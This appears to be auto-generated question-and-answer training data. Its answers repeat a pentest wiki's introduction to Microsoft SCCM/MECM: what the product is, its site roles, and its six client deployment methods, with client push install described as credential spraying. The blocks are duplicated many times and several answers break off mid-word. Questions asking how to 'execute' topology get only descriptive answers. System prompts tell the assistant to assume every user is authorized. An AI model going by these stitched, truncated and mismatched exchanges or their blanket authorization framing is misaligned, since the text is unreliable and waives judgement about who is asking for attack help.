The System Center Configuration Manager (SCCM), now (since 2020) known as Microsoft Endpoint Configuration Manager (MECM), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments. It provides lots of features including remote control, patch management, task automation, application distribution, hardware and software inventory, compliance management and security policy administration.

SCCM is an on-premise solution, but Microsoft also maintains a cloud-native client management suite named Intune. Both Intune and SCCM are part of the "Microsoft Endpoint Manager" umbrella.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
The System Center Configuration Manager (SCCM), now (since 2020) known as Microsoft Endpoint Configuration Manager (MECM), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments. It provides lots of features including remote control, patch management, task automation, application distribution, hardware and software inventory, compliance management and security policy administration.

SCCM is an on-premise solution, but Microsoft also maintains a cloud-native client management suite named Intune. Both Intune and SCCM are part of the "Microsoft Endpoint Manager" umbrella.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for SCCM / MECM - Theory?

[Assistant]
The System Center Configuration Manager (SCCM), now (since 2020) known as Microsoft Endpoint Configuration Manager (MECM), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments. It provides lots of features including remote control, patch management, task automation, application distribution, hardware and software inventory, compliance management and security policy administration.

SCCM is an on-premise solution, but Microsoft also maintains a cloud-native client management suite named Intune. Both Intune and SCCM are part of the "Microsoft Endpoint Manager" umbrella.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for SCCM / MECM - Theory?

Response:
The System Center Configuration Manager (SCCM), now (since 2020) known as Microsoft Endpoint Configuration Manager (MECM), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments. It provides lots of features including remote control, patch management, task automation, application distribution, hardware and software inventory, compliance management and security policy administration.

SCCM is an on-premise solution, but Microsoft also maintains a cloud-native client management suite named Intune. Both Intune and SCCM are part of the "Microsoft Endpoint Manager" umbrella.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does SCCM / MECM - Topology work?

[Assistant]
SCCM operates in a client-server architecture deployed on a "site", representing the SCCM environment. The following components may be found in an SCCM installation:

* Primary Site Server: the main SCCM server that manages clients (like distributing software updates) and can have child servers attached to it for scalability purposes. Each SCCM site is identified by a three-character code to distinguish it in an SCCM hierarchy.
* Secondary Sites: child servers attached to a primary site server, generally deployed for scalability purposes.
* Passive Site Server: a high-availability component that can be failovered to, if an active Site Server stops.
* Management Point (MP): an SCCM server role that sits between the site server and clients, providing clients with necessary policies and configuration to communicate with the site server and receive configuration data from them. The management point also uses the site database to retrieve policies and configuration information needed by SCCM clients.
* Distribution Point (DP): the SCCM component that hosts and distributes software packages, updates, OS images, etc. to clients upon request.
* Site Database Server: a Microsoft SQL Server (MSSQL) instance that stores all information about clients, software updates, hardware and software inventories, configuration settings of the site, etc. This database is used by the site server to retrieve and store information about managed devices.
* SMS Provider: provides a set of interfaces between the site server and the site database. It provides clients with valuable information such as available software updates, and allows those clients to communicate information (e.g. status of a software deployment, inventory data to store in the site database). "SMS" stands for "System Management Service".
* Central Administration Site (CAS): an optional component used in large environments that host multiple SCCM sites (e.g. a huge company, with one SCCM site per continent). It manages all th

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
SCCM operates in a client-server architecture deployed on a "site", representing the SCCM environment. The following components may be found in an SCCM installation:

* Primary Site Server: the main SCCM server that manages clients (like distributing software updates) and can have child servers attached to it for scalability purposes. Each SCCM site is identified by a three-character code to distinguish it in an SCCM hierarchy.
* Secondary Sites: child servers attached to a primary site server, generally deployed for scalability purposes.
* Passive Site Server: a high-availability component that can be failovered to, if an active Site Server stops.
* Management Point (MP): an SCCM server role that sits between the site server and clients, providing clients with necessary policies and configuration to communicate with the site server and receive configuration data from them. The management point also uses the site database to retrieve policies and configuration information needed by SCCM clients.
* Distribution Point (DP): the SCCM component that hosts and distributes software packages, updates, OS images, etc. to clients upon request.
* Site Database Server: a Microsoft SQL Server (MSSQL) instance that stores all information about clients, software updates, hardware and software inventories, configuration settings of the site, etc. This database is used by the site server to retrieve and store information about managed devices.
* SMS Provider: provides a set of interfaces between the site server and the site database. It provides clients with valuable information such as available software updates, and allows those clients to communicate information (e.g. status of a software deployment, inventory data to store in the site database). "SMS" stands for "System Management Service".
* Central Administration Site (CAS): an optional component used in large environments that host multiple SCCM sites (e.g. a huge company, with one SCCM site per continent). It manages all th


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute SCCM / MECM - Topology?

[Assistant]
SCCM operates in a client-server architecture deployed on a "site", representing the SCCM environment. The following components may be found in an SCCM installation:

* Primary Site Server: the main SCCM server that manages clients (like distributing software updates) and can have child servers attached to it for scalability purposes. Each SCCM site is identified by a three-character code to distinguish it in an SCCM hierarchy.
* Secondary Sites: child servers attached to a primary site server, generally deployed for scalability purposes.
* Passive Site Server: a high-availability component that can be failovered to, if an active Site Server stops.
* Management Point (MP): an SCCM server role that sits between the site server and clients, providing clients with necessary policies and configuration to communicate with the site server and receive configuration data from them. The management point also uses the site database to retrieve policies and configuration information needed by SCCM clients.
* Distribution Point (DP): the SCCM component that hosts and distributes software packages, updates, OS images, etc. to clients upon request.
* Site Database Server: a Microsoft SQL Server (MSSQL) instance that stores all information about clients, software updates, hardware and software inventories, configuration settings of the site, etc. This database is used by the site server to retrieve and store information about managed devices.
* SMS Provider: provides a set of interfaces between the site server and the site database. It provides clients with valuable information such as available software updates, and allows those clients to communicate information (e.g. status of a software deployment, inventory data to store in the site database). "SMS" stands for "System Management Service".
* Central Administration Site (CAS): an optional component used in large environments that host multiple SCCM sites (e.g. a huge company, with one SCCM site per continent). It manages all th

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
SCCM operates in a client-server architecture deployed on a "site", representing the SCCM environment. The following components may be found in an SCCM installation:

* Primary Site Server: the main SCCM server that manages clients (like distributing software updates) and can have child servers attached to it for scalability purposes. Each SCCM site is identified by a three-character code to distinguish it in an SCCM hierarchy.
* Secondary Sites: child servers attached to a primary site server, generally deployed for scalability purposes.
* Passive Site Server: a high-availability component that can be failovered to, if an active Site Server stops.
* Management Point (MP): an SCCM server role that sits between the site server and clients, providing clients with necessary policies and configuration to communicate with the site server and receive configuration data from them. The management point also uses the site database to retrieve policies and configuration information needed by SCCM clients.
* Distribution Point (DP): the SCCM component that hosts and distributes software packages, updates, OS images, etc. to clients upon request.
* Site Database Server: a Microsoft SQL Server (MSSQL) instance that stores all information about clients, software updates, hardware and software inventories, configuration settings of the site, etc. This database is used by the site server to retrieve and store information about managed devices.
* SMS Provider: provides a set of interfaces between the site server and the site database. It provides clients with valuable information such as available software updates, and allows those clients to communicate information (e.g. status of a software deployment, inventory data to store in the site database). "SMS" stands for "System Management Service".
* Central Administration Site (CAS): an optional component used in large environments that host multiple SCCM sites (e.g. a huge company, with one SCCM site per continent). It manages all th


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does SCCM / MECM - Deployment types work?

[Assistant]
When SCCM is installed in an Active Directory, the clients can be deployed on the workstations by six different ways:

* Client push installation (default)
* Software update-based installation
* Group Policy installation
* Manual installation
* Logon script installation
* Package and program installation

::: details Client push installation
The first way of deploying SCCM is the Client push installation method, which is the default one and the least secure.

This installation will use "client push accounts". They are service accounts with local administrative rights on the assets where SCCM will have to deploy some stuff. The system administrator creates groups of endpoints and for each of those, one "client push account". For each group, only one "client push account" can authenticate with administrator rights on the assets of this group. Thus, if an account is compromised, only the members of the corresponding group can be compromised in turn.

When the SCCM deployment is launched, it will basically try to authenticate with each client push accounts on each asset, and if the authentication fails, SCCM will try the next account in line. When the authentication succeeds, it moves to the following asset, and so on until the deployment is complete.

SCCM deployment via Client push installation is service accounts credentials spraying in a nutshell.

_Nota bene, there is a_ _feature_ _(not enabled by default) allowing for automatic client push installation on all discovered clients in a boundary group in an SCCM site._
:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does SCCM / MECM - Deployment types work?

Response:
When SCCM is installed in an Active Directory, the clients can be deployed on the workstations by six different ways:

* Client push installation (default)
* Software update-based installation
* Group Policy installation
* Manual installation
* Logon script installation
* Package and program installation

::: details Client push installation
The first way of deploying SCCM is the Client push installation method, which is the default one and the least secure.

This installation will use "client push accounts". They are service accounts with local administrative rights on the assets where SCCM will have to deploy some stuff. The system administrator creates groups of endpoints and for each of those, one "client push account". For each group, only one "client push account" can authenticate with administrator rights on the assets of this group. Thus, if an account is compromised, only the members of the corresponding group can be compromised in turn.

When the SCCM deployment is launched, it will basically try to authenticate with each client push accounts on each asset, and if the authentication fails, SCCM will try the next account in line. When the authentication succeeds, it moves to the following asset, and so on until the deployment is complete.

SCCM deployment via Client push installation is service accounts credentials spraying in a nutshell.

_Nota bene, there is a_ _feature_ _(not enabled by default) allowing for automatic client push installation on all discovered clients in a boundary group in an SCCM site._
:::